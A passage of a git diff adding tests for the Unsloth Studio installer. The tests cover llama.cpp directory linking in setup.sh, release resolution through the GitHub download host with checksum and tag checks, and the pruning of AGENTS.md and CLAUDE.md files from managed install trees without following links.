+assert_contains \
+    "setup.ps1: ignores a local dir equal to the canonical install location" \
+    "$SETUP_PS1" 'if ($ResolvedLocal -eq $LlamaCppDir) {'
+
+echo ""
+echo "=== Results ==="
+echo "  PASS: $PASS"
+echo "  FAIL: $FAIL"
+if [ "$FAIL" -gt 0 ]; then
+    echo "FAILED"
+    exit 1
+fi
+echo "ALL PASSED"
diff --git a/tests/sh/test_with_llama_cpp_dir_link_behavior.sh b/tests/sh/test_with_llama_cpp_dir_link_behavior.sh
new file mode 100644
index 0000000000..fb09e56c51
--- /dev/null
+++ b/tests/sh/test_with_llama_cpp_dir_link_behavior.sh
@@ -0,0 +1,132 @@
+#!/usr/bin/env bash
+# Behavioral test for the --with-llama-cpp-dir linking block in studio/setup.sh.
+# The companion test_with_llama_cpp_dir_flag.sh is a static wiring check; this one
+# actually RUNS the real link logic (extracted from setup.sh by content anchors,
+# not line numbers) against hermetic fake dirs and asserts the outcomes Lee asked
+# for: an external built dir gets linked, neither the prebuilt download nor the
+# source build is armed, an unbuilt dir is rejected, a relink doesn't destroy the
+# target, and pointing at the canonical path is a no-op. POSIX symlinks here;
+# the Windows junction path is covered by the backend test suite.
+set -u
+HERE="$(CDPATH= cd -P -- "$(dirname "$0")" && pwd -P)"
+SETUP="$HERE/../../studio/setup.sh"
+fails=0
+check() { # name expected actual
+    if [ "$2" = "$3" ]; then printf '  PASS  %s\n' "$1"
+    else printf '  FAIL  %s : expected [%s] got [%s]\n' "$1" "$2" "$3"; fails=$((fails+1)); fi
+}
+
+# Extract the two helpers + the whole `UNSLOTH_LOCAL_LLAMA_CPP_DIR` if-block.
+# Starts at the quantize-shim helper, ends at the first column-0 `fi` after the
+# `if [ -n "${UNSLOTH_LOCAL_LLAMA_CPP_DIR..` guard (inner ifs are indented).
+block="$(awk '
+    /^_link_local_llama_quantize_shim\(\) \{/ {grab=1}
+    grab {print}
+    /^if \[ -n "\$\{UNSLOTH_LOCAL_LLAMA_CPP_DIR/ {inif=1}
+    inif && /^fi$/ {exit}
+' "$SETUP")"
+
+# Self-validate the extraction so a future setup.sh refactor fails loudly here.
+case "$block" in *'ln -sfn "$_RESOLVED_LOCAL" "$LLAMA_CPP_DIR"'*) : ;;
+    *) echo "FAIL: link block extraction broke (no ln -sfn)"; exit 1 ;; esac
+case "$block" in *'_has_local_llama_server'*) : ;;
+    *) echo "FAIL: link block extraction broke (no _has_local_llama_server)"; exit 1 ;; esac
+
+# Stub setup.sh's logging + ownership helpers, seed the vars the block reads,
+# then run the extracted block and print the resulting state.
+PREAMBLE='
+set -u
+step() { :; }; substep() { :; }; verbose_substep() { :; }
+_assert_studio_owned_or_absent() { :; }
+C_ERR=""
+_STUDIO_HOME_IS_CUSTOM=false
+_NEED_LLAMA_SOURCE_BUILD=UNSET
+_SKIP_PREBUILT_INSTALL=UNSET
+'
+EPILOGUE='
+echo "LINKED=$_LOCAL_LLAMA_CPP_LINKED"
+echo "NEED_BUILD=$_NEED_LLAMA_SOURCE_BUILD"
+echo "SKIP_PREBUILT=$_SKIP_PREBUILT_INSTALL"
+if [ -L "$LLAMA_CPP_DIR" ]; then echo "ISLINK=1"; echo "TARGET=$(readlink "$LLAMA_CPP_DIR")"; else echo "ISLINK=0"; fi
+'
+SNIP="$PREAMBLE"$'\n'"$block"$'\n'"$EPILOGUE"
+
+# run_link <local_dir> <canonical_llama_cpp_dir> -> prints state lines; RC in $RC
+run_link() {
+    OUT="$(env -i PATH="$PATH" HOME="$T" \
+        UNSLOTH_LOCAL_LLAMA_CPP_DIR="$1" LLAMA_CPP_DIR="$2" \
+        bash -c "$SNIP" 2>/dev/null)"
+    RC=$?
+}
+val() { printf '%s\n' "$OUT" | grep "^$1=" | head -1 | cut -d= -f2-; }
+
+T="$(mktemp -d)"
+trap 'rm -rf "$T"' EXIT
+
+# Some environments (Windows git-bash without native symlinks) make `ln -s` copy
+# instead of link. The symlink-identity assertions (ISLINK / readlink target)
+# only run where real symlinks exist; the link/skip/no-data-loss assertions run
+# everywhere, including CI (Linux), where the link path is the real one.
+ln -s "$T" "$T/.symprobe" 2>/dev/null
+if [ -L "$T/.symprobe" ]; then SYMLINKS=1; else SYMLINKS=0; fi
+rm -rf "$T/.symprobe"
+
+# A built external tree (CMake layout) + a flat/`make` tree (root-level binary).
+# The fake binary is a shebang script so the `-x` test in _has_local_llama_server
+# holds on both Linux (chmod +x) and Windows git-bash (MSYS treats #!-files as
+# executable), without needing a real platform binary.
+mk_exe()    { printf '#!/bin/sh\necho fake\n' > "$1"; chmod +x "$1"; }
+mk_built()  { mkdir -p "$1/build/bin"; mk_exe "$1/build/bin/llama-server"; }
+mk_flat()   { mkdir -p "$1"; mk_exe "$1/llama-server"; }
+
+# 1. External CMake build -> linked, and BOTH install paths disarmed.
+EXT1="$T/ext_cmake"; mk_built "$EXT1"; : > "$EXT1/keep.txt"
+CANON1="$T/home1/llama.cpp"; mkdir -p "$(dirname "$CANON1")"
+run_link "$EXT1" "$CANON1"
+check "cmake build: linked"            "true"  "$(val LINKED)"
+check "cmake build: source build off"  "false" "$(val NEED_BUILD)"
+check "cmake build: prebuilt skipped"  "true"  "$(val SKIP_PREBUILT)"
+if [ "$SYMLINKS" = 1 ]; then
+    check "cmake build: canonical is a symlink" "1" "$(val ISLINK)"
+    check "cmake build: link points at external" "$(CDPATH= cd -P -- "$EXT1" && pwd -P)" "$(val TARGET)"
+else
+    printf '  SKIP  cmake build: symlink-identity (no real symlinks here)\n'
+fi
+
+# 2. Flat / make tree (root-level llama-server, no build/bin) -> still linked
+#    (the new layout-candidate acceptance; the old check rejected this).
+EXT2="$T/ext_flat"; mk_flat "$EXT2"
+CANON2="$T/home2/llama.cpp"; mkdir -p "$(dirname "$CANON2")"
+run_link "$EXT2" "$CANON2"
+check "flat build: linked (root-level llama-server accepted)" "true" "$(val LINKED)"
+
+# 3. Unbuilt tree -> rejected (non-zero exit, no link created).
+EXT3="$T/ext_empty"; mkdir -p "$EXT3"
+CANON3="$T/home3/llama.cpp"; mkdir -p "$(dirname "$CANON3")"
+run_link "$EXT3" "$CANON3"
+check "unbuilt tree: rejected (exit != 0)" "yes" "$([ "$RC" -ne 0 ] && echo yes || echo no)"
+check "unbuilt tree: no link left behind"  "no"  "$([ -L "$CANON3" ] && echo yes || echo no)"
+
+# 4. Relink over a stale link must NOT destroy the (new) target's contents.
+OLD="$T/ext_old"; mk_built "$OLD"
+NEW="$T/ext_new"; mk_built "$NEW"; : > "$NEW/precious.txt"
+CANON4="$T/home4/llama.cpp"; mkdir -p "$(dirname "$CANON4")"
+ln -sfn "$OLD" "$CANON4"   # simulate a prior --with-llama-cpp-dir run
+run_link "$NEW" "$CANON4"
+if [ "$SYMLINKS" = 1 ]; then
+    check "relink: now points at the new external" "$(CDPATH= cd -P -- "$NEW" && pwd -P)" "$(val TARGET)"
+fi
+check "relink: new target's contents preserved" "yes" "$([ -f "$NEW/precious.txt" ] && echo yes || echo no)"
+check "relink: old target's contents preserved" "yes" "$([ -f "$OLD/build/bin/llama-server" ] && echo yes || echo no)"
+
+# 5. Pointing at the canonical path itself is a no-op reuse: linked, not turned
+#    into a self-referential symlink, contents untouched.
+CANON5="$T/home5/llama.cpp"; mk_built "$CANON5"; : > "$CANON5/keep.txt"
+run_link "$CANON5" "$CANON5"
+check "canonical no-op: linked"             "true" "$(val LINKED)"
+check "canonical no-op: not made a symlink" "0"    "$(val ISLINK)"
+check "canonical no-op: contents preserved" "yes"  "$([ -f "$CANON5/keep.txt" ] && echo yes || echo no)"
+
+echo ""
+if [ "$fails" -ne 0 ]; then echo "$fails check(s) failed"; exit 1; fi
+echo "All checks passed"
diff --git a/tests/studio/install/test_download_host_resolve.py b/tests/studio/install/test_download_host_resolve.py
new file mode 100644
index 0000000000..5108c84062
--- /dev/null
+++ b/tests/studio/install/test_download_host_resolve.py
@@ -0,0 +1,284 @@
+"""Routing of iter_resolved_published_releases between the download-host fast
+path and the GitHub API enumeration; all I/O monkeypatched."""
+
+import importlib.util
+import json
+import sys
+import urllib.error
+from pathlib import Path
+
+import pytest
+
+
+PACKAGE_ROOT = Path(__file__).resolve().parents[3]
+MODULE_PATH = PACKAGE_ROOT / "studio" / "install_llama_prebuilt.py"
+SPEC = importlib.util.spec_from_file_location("studio_install_llama_prebuilt_dlhost", MODULE_PATH)
+assert SPEC is not None and SPEC.loader is not None
+ILP = importlib.util.module_from_spec(SPEC)
+sys.modules[SPEC.name] = ILP
+SPEC.loader.exec_module(ILP)
+
+FORK_REPO = ILP.DEFAULT_PUBLISHED_REPO
+PrebuiltFallback = ILP.PrebuiltFallback
+
+
+def _api_raises(*_a, **_k):
+    raise AssertionError("GitHub API enumeration was used")
+
+
+def _fast_path_raises(_repo):
+    raise AssertionError("download-host fast path was used")
+
+
+def _empty_api(*_a, **_k):
+    return iter(())
+
+
+def _resolve(tag = "latest", **kw):
+    return list(ILP.iter_resolved_published_releases(tag, FORK_REPO, "", **kw))
+
+
+def test_fast_path_yields_latest_without_api(monkeypatch):
+    sentinel = object()
+    monkeypatch.delenv("UNSLOTH_LLAMA_DISABLE_DOWNLOAD_HOST_RESOLVE", raising = False)
+    monkeypatch.setattr(ILP, "_download_host_resolved_release", lambda _repo: sentinel)
+    monkeypatch.setattr(ILP, "iter_published_release_bundles", _api_raises)
+    assert _resolve() == [sentinel]
+
+
+def test_fast_path_disabled_by_caller_uses_api(monkeypatch):
+    # macOS passes allow_download_host_fast_path = False to keep the walk-back.
+    monkeypatch.delenv("UNSLOTH_LLAMA_DISABLE_DOWNLOAD_HOST_RESOLVE", raising = False)
+    monkeypatch.setattr(ILP, "_download_host_resolved_release", _fast_path_raises)
+    monkeypatch.setattr(ILP, "iter_published_release_bundles", _empty_api)
+    with pytest.raises(PrebuiltFallback):
+        _resolve(allow_download_host_fast_path = False)
+
+
+def test_fast_path_disabled_by_env_uses_api(monkeypatch):
+    monkeypatch.setenv("UNSLOTH_LLAMA_DISABLE_DOWNLOAD_HOST_RESOLVE", "1")
+    monkeypatch.setattr(ILP, "_download_host_resolved_release", _fast_path_raises)
+    monkeypatch.setattr(ILP, "iter_published_release_bundles", _empty_api)
+    with pytest.raises(PrebuiltFallback):
+        _resolve()
+
+
+def test_fast_path_skipped_for_non_latest_request(monkeypatch):
+    monkeypatch.delenv("UNSLOTH_LLAMA_DISABLE_DOWNLOAD_HOST_RESOLVE", raising = False)
+    monkeypatch.setattr(ILP, "_download_host_resolved_release", _fast_path_raises)
+    monkeypatch.setattr(ILP, "iter_published_release_bundles", _empty_api)
+    with pytest.raises(PrebuiltFallback):
+        _resolve(tag = "b9964")
+
+
+def test_fast_path_none_falls_back_to_api(monkeypatch):
+    monkeypatch.delenv("UNSLOTH_LLAMA_DISABLE_DOWNLOAD_HOST_RESOLVE", raising = False)
+    monkeypatch.setattr(ILP, "_download_host_resolved_release", lambda _repo: None)
+    used = {"api": False}
+
+    def _api(*_a, **_k):
+        used["api"] = True
+        return iter(())
+
+    monkeypatch.setattr(ILP, "iter_published_release_bundles", _api)
+    with pytest.raises(PrebuiltFallback):
+        _resolve()
+    assert used["api"]
+
+
+def test_fast_path_rejected_checksum_falls_back_to_api(monkeypatch):
+    monkeypatch.delenv("UNSLOTH_LLAMA_DISABLE_DOWNLOAD_HOST_RESOLVE", raising = False)
+
+    def _reject(_repo):
+        raise PrebuiltFallback("checksum mismatch")
+
+    monkeypatch.setattr(ILP, "_download_host_resolved_release", _reject)
+    used = {"api": False}
+
+    def _api(*_a, **_k):
+        used["api"] = True
+        return iter(())
+
+    monkeypatch.setattr(ILP, "iter_published_release_bundles", _api)
+    with pytest.raises(PrebuiltFallback):
+        _resolve()
+    assert used["api"]
+
+
+# --- _download_host_resolved_release body (only download_bytes stubbed) --------
+
+RELEASE_TAG = "b9964-mix-53618c5"
+UPSTREAM_TAG = "b9964"
+BINARY_ASSET = "app-b9964-mix-53618c5-windows-x64-rocm-gfx1151.zip"
+MANIFEST_ASSET = ILP.DEFAULT_PUBLISHED_MANIFEST_ASSET
+SHA256_ASSET = ILP.DEFAULT_PUBLISHED_SHA256_ASSET
+
+
+def _manifest_bytes():
+    return json.dumps(
+        {
+            "schema_version": 1,
+            "component": "llama.cpp",
+            "upstream_tag": UPSTREAM_TAG,
+            "source_repo": "unslothai/llama.cpp",
+            "source_repo_url": "https://github.com/unslothai/llama.cpp",
+            "artifacts": [
+                {
+                    "asset_name": BINARY_ASSET,
+                    "install_kind": "windows-rocm-app",
+                    "supported_sms": [],
+                    "gfx_target": "gfx1151",
+                    "mapped_targets": ["gfx1151"],
+                    "rank": 10,
+                }
+            ],
+        }
+    ).encode("utf-8")
+
+
+def _sha_payload(*, manifest_sha256 = None):
+    # BINARY_ASSET is deliberately absent: real releases key its hash under an
+    # upstream-tag alias, so the manifest name must still get a tag-pinned URL.
+    # The source archive entry keeps _validate_checksums_against_bundle happy.
+    artifacts = {"llama.cpp-source-b9964.tar.gz": {"sha256": "a" * 64}}
+    if manifest_sha256 is not None:
+        artifacts[MANIFEST_ASSET] = {"sha256": manifest_sha256}
+    return {
+        "schema_version": 1,
+        "component": "llama.cpp",
+        "release_tag": RELEASE_TAG,
+        "upstream_tag": UPSTREAM_TAG,
+        "artifacts": artifacts,
+    }
+
+
+def _stub_downloads(
+    monkeypatch,
+    sha_payload,
+    manifest_bytes,
+    *,
+    latest_tag = RELEASE_TAG,
+):
+    def _no_api(*_a, **_k):
+        raise AssertionError("GitHub API was used")
+
+    monkeypatch.setattr(ILP, "github_release", _no_api)
+    monkeypatch.setattr(ILP, "fetch_json", _no_api)
+    # The authoritative latest tag comes from the /releases/latest redirect
+    # (github.com, no api.github.com); stub it so no real request is made.
+    monkeypatch.setattr(ILP, "_download_host_latest_release_tag", lambda _repo: latest_tag)
+
+    def _download_bytes(url, *_a, **_k):
+        if SHA256_ASSET in url:
+            return json.dumps(sha_payload).encode("utf-8")
+        if MANIFEST_ASSET in url:
+            if isinstance(manifest_bytes, Exception):
+                raise manifest_bytes
+            return manifest_bytes
+        raise AssertionError(f"unexpected download: {url}")
+
+    monkeypatch.setattr(ILP, "download_bytes", _download_bytes)
+
+
+def test_resolved_release_adds_tag_pinned_url_for_manifest_only_asset(monkeypatch):
+    _stub_downloads(monkeypatch, _sha_payload(), _manifest_bytes())
+    resolved = ILP._download_host_resolved_release(FORK_REPO)
+    assert resolved is not None
+    assert resolved.bundle.release_tag == RELEASE_TAG
+    # Binary is named only in the manifest, yet the fast path must expose a
+    # tag-pinned CDN URL for it (the API path gets it from the real asset list).
+    assert resolved.bundle.assets[BINARY_ASSET] == (
+        f"https://github.com/{FORK_REPO}/releases/download/{RELEASE_TAG}/{BINARY_ASSET}"
+    )
+
+
+def test_resolved_release_rejects_manifest_checksum_mismatch(monkeypatch):
+    # A wrong manifest hash in the checksum payload must fail closed, so the
+    # router falls back to the API rather than trusting the fast path.
+    _stub_downloads(monkeypatch, _sha_payload(manifest_sha256 = "b" * 64), _manifest_bytes())
+    with pytest.raises(PrebuiltFallback, match = "manifest checksum"):
+        ILP._download_host_resolved_release(FORK_REPO)
+
+
+def test_resolved_release_rejects_release_tag_mismatch(monkeypatch):
+    # The checksum asset self-reports RELEASE_TAG, but the authoritative
+    # /releases/latest redirect resolves a different tag: the fast path must not
+    # pin to the stale self-reported tag (it raises, so the router falls back).
+    _stub_downloads(monkeypatch, _sha_payload(), _manifest_bytes(), latest_tag = "b9999-mix-other")
+    with pytest.raises(RuntimeError, match = "did not match pinned release tag"):
+        ILP._download_host_resolved_release(FORK_REPO)
+
+
+def test_resolved_release_manifest_404_falls_back(monkeypatch):
+    # An in-progress release can serve the checksum asset before the manifest; a
+    # manifest 404 returns None so the router falls back to the API.
+    not_found = urllib.error.HTTPError(
+        f"https://github.com/{FORK_REPO}/releases/download/{RELEASE_TAG}/{MANIFEST_ASSET}",
+        404,
+        "Not Found",
+        {},  # type: ignore[arg-type]
+        None,
+    )
+    _stub_downloads(monkeypatch, _sha_payload(), not_found)
+    assert ILP._download_host_resolved_release(FORK_REPO) is None
+
+
+# --- _download_host_latest_release_tag (redirect resolution) -------------------
+
+
+class _FakeResponse:
+    def __init__(self, url):
+        self._url = url
+
+    def __enter__(self):
+        return self
+
+    def __exit__(self, *_a):
+        return False
+
+    def geturl(self):
+        return self._url
+
+
+class _FakeOpener:
+    def __init__(
+        self,
+        *,
+        url = None,
+        exc = None,
+    ):
+        self._url = url
+        self._exc = exc
+
+    def open(
+        self,
+        _request,
+        timeout = None,
+    ):
+        if self._exc is not None:
+            raise self._exc
+        return _FakeResponse(self._url)
+
+
+def test_latest_release_tag_parses_redirect(monkeypatch):
+    final = f"https://github.com/{FORK_REPO}/releases/tag/{RELEASE_TAG}"
+    monkeypatch.setattr(ILP, "_URL_OPENER", _FakeOpener(url = final))
+    assert ILP._download_host_latest_release_tag(FORK_REPO) == RELEASE_TAG
+
+
+def test_latest_release_tag_none_on_404(monkeypatch):
+    not_found = urllib.error.HTTPError(
+        f"https://github.com/{FORK_REPO}/releases/latest",
+        404,
+        "Not Found",
+        {},
+        None,  # type: ignore[arg-type]
+    )
+    monkeypatch.setattr(ILP, "_URL_OPENER", _FakeOpener(exc = not_found))
+    assert ILP._download_host_latest_release_tag(FORK_REPO) is None
+
+
+def test_latest_release_tag_none_when_not_a_tag_url(monkeypatch):
+    # No /releases/tag/ segment (e.g. redirected somewhere unexpected) -> None.
+    monkeypatch.setattr(ILP, "_URL_OPENER", _FakeOpener(url = f"https://github.com/{FORK_REPO}"))
+    assert ILP._download_host_latest_release_tag(FORK_REPO) is None
diff --git a/tests/studio/install/test_install_llama_prebuilt_logic.py b/tests/studio/install/test_install_llama_prebuilt_logic.py
index c852d7c495..e995e5033e 100644
--- a/tests/studio/install/test_install_llama_prebuilt_logic.py
+++ b/tests/studio/install/test_install_llama_prebuilt_logic.py
@@ -3,6 +3,8 @@ import importlib.util
 import io
 import json
 import os
+import shutil
+import subprocess
 import sys
 import tarfile
 import zipfile
@@ -30,6 +32,7 @@ AssetChoice = INSTALL_LLAMA_PREBUILT.AssetChoice
 ApprovedArtifactHash = INSTALL_LLAMA_PREBUILT.ApprovedArtifactHash
 ApprovedReleaseChecksums = INSTALL_LLAMA_PREBUILT.ApprovedReleaseChecksums
 hydrate_source_tree = INSTALL_LLAMA_PREBUILT.hydrate_source_tree
+remove_agent_instruction_files = INSTALL_LLAMA_PREBUILT.remove_agent_instruction_files
 validate_prebuilt_choice = INSTALL_LLAMA_PREBUILT.validate_prebuilt_choice
 activate_install_tree = INSTALL_LLAMA_PREBUILT.activate_install_tree
 activate_staged_dir = INSTALL_LLAMA_PREBUILT.activate_staged_dir
@@ -203,6 +206,178 @@ def test_extract_archive_rejects_zip_symlink_entry(tmp_path: Path):
         extract_archive(archive_path, tmp_path / "extract")
 
 
+def test_remove_agent_instruction_files_does_not_follow_links(tmp_path: Path):
+    managed = tmp_path / "managed"
+    nested = managed / "nested"
+    external = tmp_path / "external"
+    nested.mkdir(parents = True)
+    external.mkdir()
+    (managed / "AGENTS.md").write_text("managed root", encoding = "utf-8")
+    (nested / "AGENTS.md").write_text("managed nested", encoding = "utf-8")
+    (managed / "CLAUDE.md").write_text("managed Claude root", encoding = "utf-8")
+    (nested / "CLAUDE.md").write_text("managed Claude nested", encoding = "utf-8")
+    (external / "AGENTS.md").write_text("user owned", encoding = "utf-8")
+    (external / "CLAUDE.md").write_text("user-owned Claude", encoding = "utf-8")
+    try:
+        (managed / "external-link").symlink_to(external, target_is_directory = True)
+        linked_root = tmp_path / "linked-root"
+        linked_root.symlink_to(external, target_is_directory = True)
+    except OSError as exc:
+        pytest.skip(f"directory symlinks unavailable: {exc}")
+
+    assert remove_agent_instruction_files(managed) == 4
+    assert not list(managed.rglob("AGENTS.md"))
+    assert not list(managed.rglob("CLAUDE.md"))
+    assert (external / "AGENTS.md").read_text(encoding = "utf-8") == "user owned"
+    assert (external / "CLAUDE.md").read_text(encoding = "utf-8") == "user-owned Claude"
+
+    assert remove_agent_instruction_files(linked_root) == 0
+    assert (external / "AGENTS.md").exists()
+    assert (external / "CLAUDE.md").exists()
+
+
+@pytest.mark.skipif(os.name != "nt", reason = "Windows junction behavior")
+def test_remove_agent_instruction_files_does_not_follow_windows_junctions(tmp_path: Path):
+    managed = tmp_path / "managed"
+    external = tmp_path / "external"
+    managed.mkdir()
+    external.mkdir()
+    (external / "AGENTS.md").write_text("user owned", encoding = "utf-8")
+    (external / "CLAUDE.md").write_text("user-owned Claude", encoding = "utf-8")
+
+    nested_junction = managed / "external-junction"
+    root_junction = tmp_path / "linked-root"
+    for junction in (nested_junction, root_junction):
+        result = subprocess.run(
+            ["cmd", "/d", "/c", "mklink", "/J", str(junction), str(external)],
+            capture_output = True,
+            text = True,
+            check = False,
+        )
+        if result.returncode != 0:
+            pytest.skip(f"directory junctions unavailable: {result.stderr or result.stdout}")
+
+    assert remove_agent_instruction_files(managed) == 0
+    assert remove_agent_instruction_files(root_junction) == 0
+    assert (external / "AGENTS.md").read_text(encoding = "utf-8") == "user owned"
+    assert (external / "CLAUDE.md").read_text(encoding = "utf-8") == "user-owned Claude"
+
+
+def test_remove_agent_instruction_files_prunes_linklike_directories(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+):
+    managed = tmp_path / "managed"
+    simulated_junction = managed / "simulated-junction"
+    simulated_junction.mkdir(parents = True)
+    agents = simulated_junction / "AGENTS.md"
+    claude = simulated_junction / "CLAUDE.md"
+    agents.write_text("external instructions", encoding = "utf-8")
+    claude.write_text("external Claude instructions", encoding = "utf-8")
+    real_is_link_or_junction = INSTALL_LLAMA_PREBUILT._is_link_or_junction
+
+    monkeypatch.setattr(
+        INSTALL_LLAMA_PREBUILT,
+        "_is_link_or_junction",
+        lambda path: path == simulated_junction or real_is_link_or_junction(path),
+    )
+
+    assert remove_agent_instruction_files(managed) == 0
+    assert agents.exists()
+    assert claude.exists()
+
+
+def test_remove_agent_instruction_files_continues_after_unlink_error(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str]
+):
+    managed = tmp_path / "managed"
+    managed.mkdir()
+    blocked = managed / "AGENTS.md"
+    removable = managed / "CLAUDE.md"
+    blocked.write_text("blocked", encoding = "utf-8")
+    removable.write_text("remove me", encoding = "utf-8")
+    real_unlink = Path.unlink
+
+    def selective_unlink(path: Path, *args, **kwargs):
+        if path == blocked:
+            raise PermissionError(errno.EACCES, "Access is denied", str(path))
+        return real_unlink(path, *args, **kwargs)
+
+    monkeypatch.setattr(Path, "unlink", selective_unlink)
+
+    assert remove_agent_instruction_files(managed) == 1
+    assert blocked.exists()
+    assert not removable.exists()
+    captured = capsys.readouterr()
+    assert "could not remove contributor-only instruction" in captured.out + captured.err
+
+
+def test_main_resolves_linked_install_path_and_preserves_cleanup_root(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+):
+    target = tmp_path / "target"
+    linked_root = tmp_path / "linked-root"
+    target.mkdir()
+    try:
+        linked_root.symlink_to(target, target_is_directory = True)
+    except OSError as exc:
+        pytest.skip(f"directory symlinks unavailable: {exc}")
+
+    received = {}
+    monkeypatch.setattr(
+        sys,
+        "argv",
+        ["install_llama_prebuilt.py", "--install-dir", str(linked_root)],
+    )
+    monkeypatch.setattr(
+        INSTALL_LLAMA_PREBUILT,
+        "install_prebuilt",
+        lambda **kwargs: received.update(kwargs),
+    )
+    monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "_LOG_TO_STDOUT", False)
+
+    assert INSTALL_LLAMA_PREBUILT.main() == 0
+    assert received["install_dir"] == target.resolve()
+    assert received["instruction_cleanup_root"] == linked_root.absolute()
+    assert received["instruction_cleanup_root"].is_symlink()
+
+
+def test_install_prebuilt_uses_explicit_instruction_cleanup_root(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+):
+    install_dir = tmp_path / "target"
+    linked_root = tmp_path / "linked-root"
+    install_dir.mkdir()
+    (install_dir / "UNSLOTH_PREBUILT_INFO.json").write_text("{}", encoding = "utf-8")
+    try:
+        linked_root.symlink_to(install_dir, target_is_directory = True)
+    except OSError as exc:
+        pytest.skip(f"directory symlinks unavailable: {exc}")
+
+    cleanup_roots = []
+    monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "detect_host", linux_host)
+    monkeypatch.setattr(
+        INSTALL_LLAMA_PREBUILT,
+        "remove_agent_instruction_files",
+        lambda root: cleanup_roots.append(root) or 0,
+    )
+    monkeypatch.setattr(
+        INSTALL_LLAMA_PREBUILT,
+        "resolve_simple_install_release_plans",
+        lambda *_args, **_kwargs: (_ for _ in ()).throw(RuntimeError("stop after cleanup")),
+    )
+
+    with pytest.raises(RuntimeError, match = "stop after cleanup"):
+        install_prebuilt(
+            install_dir.resolve(),
+            "latest",
+            "unslothai/llama.cpp",
+            "",
+            instruction_cleanup_root = linked_root.absolute(),
+        )
+
+    assert cleanup_roots == [linked_root.absolute()]
+
+
 def test_hydrate_source_tree_extracts_upstream_archive_contents(
     tmp_path: Path, monkeypatch: pytest.MonkeyPatch
 ):
@@ -224,6 +399,26 @@ def test_hydrate_source_tree_extracts_upstream_archive_contents(
             f"llama.cpp-{upstream_tag}/gguf-py/gguf/__init__.py",
             b"__all__ = []\n",
         )
+        add_bytes_to_tar(
+            archive,
+            f"llama.cpp-{upstream_tag}/AGENTS.md",
+            b"upstream contributor instructions\n",
+        )
+        add_bytes_to_tar(
+            archive,
+            f"llama.cpp-{upstream_tag}/examples/AGENTS.md",
+            b"nested contributor instructions\n",
+        )
+        add_bytes_to_tar(
+            archive,
+            f"llama.cpp-{upstream_tag}/CLAUDE.md",
+            b"Claude contributor instructions\n",
+        )
+        add_bytes_to_tar(
+            archive,
+            f"llama.cpp-{upstream_tag}/examples/CLAUDE.md",
+            b"nested Claude contributor instructions\n",
+        )
 
     source_urls = set(INSTALL_LLAMA_PREBUILT.upstream_source_archive_urls(upstream_tag))
 
@@ -244,6 +439,8 @@ def test_hydrate_source_tree_extracts_upstream_archive_contents(
     assert (install_dir / "convert_hf_to_gguf.py").exists()
     assert (install_dir / "gguf-py" / "gguf" / "__init__.py").exists()
     assert not (install_dir / f"llama.cpp-{upstream_tag}").exists()
+    assert not list(install_dir.rglob("AGENTS.md"))
+    assert not list(install_dir.rglob("CLAUDE.md"))
 
 
 def test_release_asset_download_url():
@@ -644,6 +841,29 @@ def test_activate_install_tree_restores_existing_install_after_activation_failur
     assert "restored previous install from rollback path" in output
 
 
+def test_activate_install_tree_preserves_symlink_to_resolved_target(
+    tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+):
+    install_dir = tmp_path / "target"
+    linked_root = tmp_path / "linked-root"
+    staging_dir = tmp_path / "staging"
+    install_dir.mkdir()
+    staging_dir.mkdir()
+    (install_dir / "old.txt").write_text("old", encoding = "utf-8")
+    (staging_dir / "new.txt").write_text("new", encoding = "utf-8")
+    try:
+        linked_root.symlink_to(install_dir, target_is_directory = True)
+    except OSError as exc:
+        pytest.skip(f"directory symlinks unavailable: {exc}")
+    monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "confirm_install_tree", lambda *_args: None)
+
+    activate_install_tree(staging_dir, linked_root.resolve(), linux_host())
+
+    assert linked_root.is_symlink()
+    assert (linked_root / "new.txt").read_text(encoding = "utf-8") == "new"
+    assert not (linked_root / "old.txt").exists()
+
+
 def test_activate_install_tree_cleans_all_paths_when_rollback_restore_fails(
     tmp_path: Path, monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str]
 ):
@@ -2007,6 +2227,14 @@ def test_install_prebuilt_skips_download_when_existing_install_matches(
         approved_checksums = checksums,
         prebuilt_fallback_used = False,
     )
+    (install_dir / "AGENTS.md").write_text("old root instructions", encoding = "utf-8")
+    nested_agents = install_dir / "examples" / "AGENTS.md"
+    nested_agents.parent.mkdir()
+    nested_agents.write_text("old nested instructions", encoding = "utf-8")
+    (install_dir / "CLAUDE.md").write_text("old Claude instructions", encoding = "utf-8")
+    (nested_agents.parent / "CLAUDE.md").write_text(
+        "old nested Claude instructions", encoding = "utf-8"
+    )
 
     monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "detect_host", lambda: host)
     monkeypatch.setattr(
@@ -2026,6 +2254,73 @@ def test_install_prebuilt_skips_download_when_existing_install_matches(
     )
 
     install_prebuilt(install_dir, "latest", "unslothai/llama.cpp", "")
+    assert not list(install_dir.rglob("AGENTS.md"))
+    assert not list(install_dir.rglob("CLAUDE.md"))
+
+
+def test_setup_scripts_prune_agent_files_without_shipping_a_repo_copy():
+    setup_sh = (PACKAGE_ROOT / "studio" / "setup.sh").read_text(encoding = "utf-8")
+    setup_ps1 = (PACKAGE_ROOT / "studio" / "setup.ps1").read_text(encoding = "utf-8")
+
+    assert (
+        "_remove_agent_instruction_files \\\n"
+        '    "$SCRIPT_DIR/frontend/node_modules" \\\n'
+        '    "$_OXC_DIR/node_modules"'
+    ) in setup_sh
+    assert '_remove_agent_instruction_files "$SCRIPT_DIR/frontend" "$_OXC_DIR"' not in setup_sh
+    assert '_remove_agent_instruction_files "$LLAMA_CPP_DIR"' in setup_sh
+    assert "-name 'CLAUDE.md'" in setup_sh
+    assert 'if [ ! -L "$LLAMA_CPP_DIR" ] && {' in setup_sh
+    assert '${_LOCAL_LLAMA_CPP_LINKED:-false}" != true' not in setup_sh
+    assert "$LLAMA_CPP_DIR/$_STUDIO_OWNED_MARKER" in setup_sh
+    assert '_studio_owned_adoptable "$LLAMA_CPP_DIR"' in setup_sh
+    assert (
+        "Remove-AgentInstructionFiles -Roots @(\n"
+        '    (Join-Path $FrontendDir "node_modules"),\n'
+        '    (Join-Path $OxcValidatorDir "node_modules")\n'
